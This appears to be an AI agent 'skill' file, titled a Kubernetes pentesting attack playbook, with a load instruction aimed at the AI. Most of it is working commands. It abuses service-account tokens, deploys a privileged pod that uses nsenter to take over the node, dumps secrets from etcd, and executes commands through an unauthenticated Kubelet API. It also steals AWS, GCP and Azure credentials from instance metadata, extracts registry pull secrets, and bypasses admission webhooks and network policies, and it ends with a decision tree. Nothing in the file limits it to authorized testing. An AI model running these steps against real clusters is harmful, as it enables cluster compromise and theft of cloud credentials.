kubernetes-pentesting

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SKILL: Kubernetes Pentesting — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

0. RELATED ROUTING

Before going deep, consider loading:

container-escape-techniques for escaping from a compromised pod to the underlying node
linux-privilege-escalation once on a node for escalating to root
linux-lateral-movement for pivoting between nodes
linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata

1. K8S API SERVER ACCESS

1.1 Anonymous Access Check

bash

# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)

1.2 Token-Based Authentication (from inside pod)

bash

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 Certificate / Kubeconfig Authentication

bash

# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

2. RBAC ENUMERATION

2.1 Self-Permission Check

bash

# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"

2.2 Role and ClusterRole Enumeration

bash

kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'

2.3 Dangerous RBAC Permissions

Permission	Risk	Escalation Path
`pods/exec`	Critical	Exec into any pod (access secrets, tokens)
`pods` (create)	Critical	Create privileged pod → node access
`secrets` (get/list)	Critical	Read all secrets including SA tokens
`serviceaccounts/token` (create)	Critical	Generate token for any SA
`nodes/proxy`	High	Proxy to Kubelet API
`escalate` on roles	Critical	Grant yourself any permission
`bind` on rolebindings	Critical	Bind any role to yourself
`impersonate`	Critical	Impersonate any user/SA

3. SERVICE ACCOUNT TOKEN ABUSE

3.1 Token Location and Decoding

bash

# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry

3.2 Escalation via Service Account

bash

# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF

3.3 Token Generation

bash

# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h

4. ETCD DIRECT ACCESS

bash

# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version

# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

5. POD ESCAPE TO NODE

See container-escape-techniques for detailed escape chains.

Quick reference for K8s-specific vectors:

Vector	Requirement	Command
hostPID	`spec.hostPID: true`	`nsenter -t 1 -m -u -i -n -p -- bash`
hostNetwork	`spec.hostNetwork: true`	Access node services (Kubelet, etcd)
hostPath `/`	Volume mount of host root	`chroot /host bash`
Privileged container	`securityContext.privileged: true`	Mount host disk / nsenter

6. KUBELET API (Port 10250/10255)

bash

curl -sk https://NODE_IP:10250/pods        # Anonymous access check
# 10255 = read-only (legacy, HTTP)

# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

7. CLOUD-SPECIFIC ATTACKS

7.1 AWS EKS — IMDS Access

bash

# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

7.2 GCP GKE — Metadata API

bash

# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token

# List available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls

7.3 Azure AKS — Managed Identity

bash

# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token

# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE

8. ADMISSION WEBHOOK BYPASS

Strategy	Command/Method
Excluded namespace	`kubectl get validatingwebhookconfigurations -o yaml \	grep namespaceSelector` → use excluded NS
failurePolicy: Ignore	If webhook server down → admission skipped
Ephemeral containers	`kubectl debug POD -it --image=alpine` (may not be covered)
Static pods	Place manifest in `/etc/kubernetes/manifests/` on node (bypasses API admission)

9. CONTAINER REGISTRY ACCESS

bash

# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

10. NETWORK POLICY ENUMERATION & BYPASS

bash

kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done

Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely.

11. TOOLS

Tool	Purpose	Command
kubectl	K8s API interaction	`kubectl auth can-i --list`
kube-hunter	Automated K8s vulnerability scanning	`kube-hunter --remote TARGET`
peirates	K8s pentesting from inside a pod	`./peirates`
kubesploit	Post-exploitation framework for K8s	Agent-based C2
CDK	Container/K8s exploitation toolkit	`./cdk evaluate`
kubeletctl	Interact with Kubelet API directly	`kubeletctl pods -s NODE_IP`
kubeaudit	Cluster misconfiguration audit	`kubeaudit all`

12. KUBERNETES PENTESTING DECISION TREE

Access to Kubernetes environment?
│
├── Inside a pod?
│   ├── Read SA token → check RBAC permissions (§2.1)
│   │   ├── Can create pods? → privileged pod escape (§3.2)
│   │   ├── Can read secrets? → dump all secrets (§3.2)
│   │   ├── Can exec into pods? → pivot to other pods
│   │   └── Minimal permissions → try Kubelet API (§6)
│   │
│   ├── Cloud environment?
│   │   ├── AWS → check IMDS for IAM creds (§7.1)
│   │   ├── GCP → check metadata for OAuth token (§7.2)
│   │   └── Azure → check IMDS for managed identity (§7.3)
│   │
│   └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│   ├── kubeconfig found? → full cluster access (§1.3)
│   ├── etcd accessible? → dump all secrets (§4)
│   ├── Kubelet cert/key? → API server access
│   └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│   ├── API server exposed? → anonymous/token check (§1)
│   ├── Kubelet 10250 exposed? → direct pod exec (§6)
│   ├── etcd 2379 exposed? → direct secret dump (§4)
│   └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│   ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│   ├── impersonate permission? → act as admin (§2.3)
│   ├── serviceaccounts/token create? → mint admin token (§3.3)
│   └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
    ├── Enumerate network policies → find unprotected namespaces (§10)
    ├── Check admission webhooks → find bypass (§8)
    ├── Pull registry images → search for secrets (§9)
    └── Scan nodes for exposed services → Kubelet, etcd

SKILL: Kubernetes Pentesting — Expert Attack Playbook

0. RELATED ROUTING

1. K8S API SERVER ACCESS

1.1 Anonymous Access Check

1.2 Token-Based Authentication (from inside pod)

1.3 Certificate / Kubeconfig Authentication

2. RBAC ENUMERATION

2.1 Self-Permission Check

2.2 Role and ClusterRole Enumeration

2.3 Dangerous RBAC Permissions

3. SERVICE ACCOUNT TOKEN ABUSE

3.1 Token Location and Decoding

3.2 Escalation via Service Account

3.3 Token Generation

4. ETCD DIRECT ACCESS

5. POD ESCAPE TO NODE

See container-escape-techniques for detailed escape chains.

6. KUBELET API (Port 10250/10255)

7. CLOUD-SPECIFIC ATTACKS

7.1 AWS EKS — IMDS Access

7.2 GCP GKE — Metadata API

7.3 Azure AKS — Managed Identity

8. ADMISSION WEBHOOK BYPASS

9. CONTAINER REGISTRY ACCESS

10. NETWORK POLICY ENUMERATION & BYPASS

11. TOOLS

12. KUBERNETES PENTESTING DECISION TREE

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